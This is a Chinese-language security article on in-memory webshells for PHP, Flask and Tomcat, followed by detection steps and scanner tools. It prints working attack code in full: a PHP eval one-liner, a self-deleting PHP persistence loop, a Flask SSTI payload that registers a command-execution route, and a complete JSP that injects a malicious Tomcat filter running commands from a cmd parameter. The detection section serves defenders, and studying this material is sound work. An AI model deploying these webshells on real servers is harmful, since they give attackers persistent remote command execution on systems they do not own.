0x01 前言
webshell简述
webshell就是以各种网页文件形式存在的一种代码执行环境,攻击者可以通过webshell可以获取网站管理、服务器管理、权限管理,webshell攻击方法简单,只需上传一个代码文件,通过webshell管理工具连接即可。
内存马简述
内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多,内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。内存马可以通过访问存在漏洞的url加上命令执行参数,即可让服务器返回结果也可通过webshell管理工具例如:蚁剑、冰蝎、哥斯拉等进行远程连接后攻击目标。
Java Web三大组件
Listener:JavaWeb开发中的监听器(Listener)就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。
Filter:filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在http服务请求到达 Servlet之前,拦截客户的http服务请求 ,根据需要检查http服务请求,也可以修改http服务请求头和数据;在http服务响应到达客户端之前,拦截http服务响应,根据需要检查http服务响应,也可以修改http服务响应头和数据。
Servlet:Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。
0x02 内存马的原理
内存马基本原理
由客户端发起的Web请求后,中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作,内存马就是利用请求过程在内存中修改已有的组件或动态注册一个新的组件,插入恶意的shellcode,达到持久化控制服务器的目的。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。而内存攻击者正是利用软件安全漏洞,构造恶意输入导致软件在处理输入数据时出现非预期错误,将输入数据写入内存中的某些特定敏感位置,从而劫持软件控制流、执行流,转而执行外部输入的指令代码,造成目标系统被获取远程控制,让内存马的攻击得以实现。
PHP内存马原理
php不死马是通过内存马启动后删除文件本身之前,使代码在内存中执行死循环,使管理员无法删除内存马,达到权限维持的目的。
Python内存马原理
利用flask框架中存在的ssti注入来实现内存修改的,具体是通过flask框架存在应用模板渲染过程的render_template_string()函数,在进行渲染但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现python内存马的注入。
Java内存马原理
在Java程序中,客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,Java内存吗的原理即在客户端发起web请求的这个过程中对内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,从而达到我们的目的。
0x03 内存马详解
PHP内存马
##1.一句话马
<?php @eval($_POST['123']);?>
##2.PHP不死马
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content = ‘<?php @eval($_POST["123"]) ?>’;
file_put_contents("11.php", $content);
usleep(10000);
}
?>
从上面两个马相比较可以看出PHP不死马比一句话马多了很多函数。我们先来对一句话马进行构造分析:
1.<?php ?>
通过该标签可知是一个标准的PHP文件。
2.”@”符号在PHP中屏蔽报错信息。
3.eval
在PHP语法表示把字符串作为PHP代码执行。
4.$_POST
表示通过post接收命令。
对比PHP的不死码,可以发现它的”骨架”是一句话木马的基础形态,PHP内存马的”血肉”在一句话马的基础上使用来更多的函数。set_time_limit()
函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()
函数在执行程序时的持续时间将会被忽略掉)。ignore_user_abort()
函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)。unlink(FILE)
函数:删除文件(防止文件落地被检测工具查杀)。file_put_contents
函数:将一个字符串写入该文件中。usleep
函数:延迟执行当前脚本数微秒,即条件竞争。
通过使用以上函数可知,PHP不死马对于我们直接删除上传的文件进行阻止是无法阻止它继续运行的,但是使用条件竞争写入同名文件可以有效的清除该恶意代码。
Python内存马
我们可以对网站上的一个简单flask ssti案列进行简单的分析,可以发现内容是访问/index后加上content请求参数就会被渲染,又因为渲染的content内容是用户可控,利用这点生成内存马。最后我们通过解析该payload使用的函数的作用来理解python内存马的。http://127.0.0.1:5000/index?=content{{a.__init__.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell1%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}
我们可以根据python内存马的payload还原出没有经过加密的python内存马的原貌,进而分析该内存马的特点,以方便防御类似的代码攻击。
content{{a.__init__.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell1',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']}
)
}}
在与另外一个python内存马比较,可以发现它们的共同特点都具有大量相同的函数调用,并且有些函数使用方法与php内存马的函数使用方法相同。
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)
eval
:eval(expression[, globals[, locals]])有两个参数非常重要
expression—后接表达式
globals—变量作用域,全局命名空间,如果被提供,则必须是一个字典对象
locals—变量作用域,局部命名空间,如果被提供,可以是任何映射对象__globals__
:以字典的形式返回函数所在的全局命名空间所定义的全局变量__builtins__
:内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载(这个模块包括了很多强大的 built-in 函数,例如eval, exec, open…..)__class__
:返回调用的参数类型__bases__
:返回基类列表(继承父类)add_url_rule
:注册了一个/shell的路由,init相当于构造函数,定义自己的属性,通过init.globals得到他们的命名空间从而得到builtins就可以执行内置函数如eval, exec, open等。
如果要进行漏洞验证时,一般可以使用如下exp进行弹出calc即可。http://127.0.0.1:5000/index?=url_for.__globals__['__builtins__']['eval']("__import__('os').system('open -a Calculator')")}}
java内存马分析
通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马。
代码先是创建了一个恶意的servlet,然后获取当前的StandardContext,然后将恶意servlet封装成wrApper添加到StandardContext的children当中,最后添加ServletMApping将访问的URL和wrApper进行绑定。执行上述代码后,访问当前应用的/shell路径,加上cmd参数就可以命令执行了。使用新增servlet的方式就需要绑定指定的URL。如果我们想要更加隐蔽,做到内存马与URL无关,无论这个url是原生servlet还是某个struts action,甚至无论这个url是否真的存在,只要我们的请求传递给tomcat,tomcat就能相应我们的指令,那就得通过注入新的或修改已有的filter或者listener的方式来实现了。
当web.xml中注册了一个Filter来对某个 Servlet 程序进行拦截处理时该 Filter 可以对Servlet 容器发送给 Servlet 程序的请求和 Servlet 程序回送给 Servlet 容器的响应进行拦截,可以决定是否将请求继续传递给 Servlet 程序,以及对请求和相应信息进行修改。filter型内存马是将命令执行的文件通过动态注册成一个恶意的filter,这个filter没有落地文件并可以让客户端发来的请求通过它来做命令执行
这里我们将公开的filter类型的内存马文件直接上传到tomcat网站下,访问内存马后就植入成功了,植入成功后在删掉相对的jsp文件也不会影响内存马的运行,但是重启tomcat服务器后内存马即失效。注入成功后在路径后加入?cmd=后跟命令即可。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>
<!-- tomcat 8/9 -->
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->
<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
<%@ page import = "javax.servlet.*" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.util.Map" %>
<%
class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd!= null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
%>
<%
//从org.apache.catalina.core.ApplicationContext反射获取context方法
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
String name = "filterDemo";
//判断是否存在filterDemo1这个filter,如果没有则准备创建
if (filterConfigs.get(name) == null){
//定义一些基础属性、类名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
//添加filterDef
standardContext.addFilterDef(filterDef);
//创建filterMap,设置filter和url的映射关系,可设置成单一url如/zzz ,也可以所有页面都可触发可设置为/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/zzz");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);
//反射创建FilterConfig,传入standardContext与filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//将filter名和配置好的filterConifg传入
filterConfigs.put(name,filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected!");
}
%>
0x04 内存马检测
内存马排查思路:先判断是通过什么方法注入的内存马,可以先查看web日志是否有可疑的web访问日志,如果是filter或者listener类型就会有大量url请求路径相同参数不同的,或者页面不存在但是返回200的,查看是否有类似哥斯拉、冰蝎相同的url请求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。通过查找返回200的url路径对比web目录下是否真实存在文件,如不存在大概率为内存马。如在web日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,排查中间件的error.log日志查看是否有可疑的报错,根据注入时间和方法根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。
PHP内存码检测
1.检查所有php进程处理请求的持续时间
2.检测执行文件是否在文件系统真实存在
Python内存马检测
1.查看所有内建模块中是否包含eval
、exec
等可以执行代码的函数如:class warnings.catch_warnings
、class site.Quitter
等。
2.检测self.add_url_rule()
中特殊名字的路由如shell等。
Java内存马检测
filter检测思路:
1.带有特殊含义的filter的名字比如shell等。
2.Filter的优先级,filter内存马需要将filter调至最高。
3.查看web.xml中有没有filter配置。
4.检测特殊的classloader。
5.检测classloader路径下没有class文件。
6.检测Filter中的doFilter方法是否有恶意代码。
0x05 Java内存马查杀工具
1.java-memshell-scanner:通过jsp脚本扫描并查杀各类中间件内存马。
只需要将tomcat-memshell-scanner.jsp放在可能被注入内存马的web录下,然后使用浏览器访问即可直接获得扫描结果。java-memshell-scanner-GitHub地址:https://github.com/c0ny1/java-memshell-scanner
2.copagentcop.jar:首先可以先看result.txt中标记高危的class,copagentcop.jar工具会把所有的文件都还原成jsp文件,可以用D盾等webshell查杀工具进行扫描。
只需要将cop.jar工具放在运行tomcat的服务器上运行cop.jar工具会识别你正在运行的应用列举出来由你自己选择ID,运行后会在同目录下生成.copagent目录储存结果。copagentcop.jar-GitHub地址:https://github.com/LandGrey/copagentcop.jar
3.arthas-boot.jar:arthas-boot.jar工具可以先排除可疑名字的servlet和filter节点,如攻击者隐藏的更深需要将所有的类都反编译导出来然后逐一排查。
在线排场问题,无需重启;动态跟踪java代码;实时监控jvm状态。采用命令行交互模式,提供丰富的Tab自动补全功能,进一步方便进行问题的定位和诊断。arthas-boot.jar链接-GitHub地址:https://github.com/alibaba/arthas
4.VisualVM工具:是一款免费的,集成了多个JDK命令行工具的可视化工具,它能为您提供强大的分析能力,对 Java 应用程序做性能分析和调优。这些功能包括生成和分析海量数据、跟踪内存泄漏、监控垃圾回收器、执行内存和 CPU 分析,同时它还支持在 MBeans 上进行浏览和操作
产考链接
PHP不死马:https://blog.csdn.net/QQ584674068/article/details/121971247
Python内存马:https://xz.aliyun.com/t/10933
Servlet内存马:https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect
Spring controller内存马:https://www.anquanke.com/post/id/198886#h2-6
内存马查杀:
● 查杀Java web filter型内存马https://gv7.me/articles/2020/kill-java-web-filter-memshell/
● Filter/Servlet型内存马的扫描抓捕与查杀https://gv7.me/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/
● 基于javaAgent内存马检测查杀指南https://www.77169.net/html/278275.htm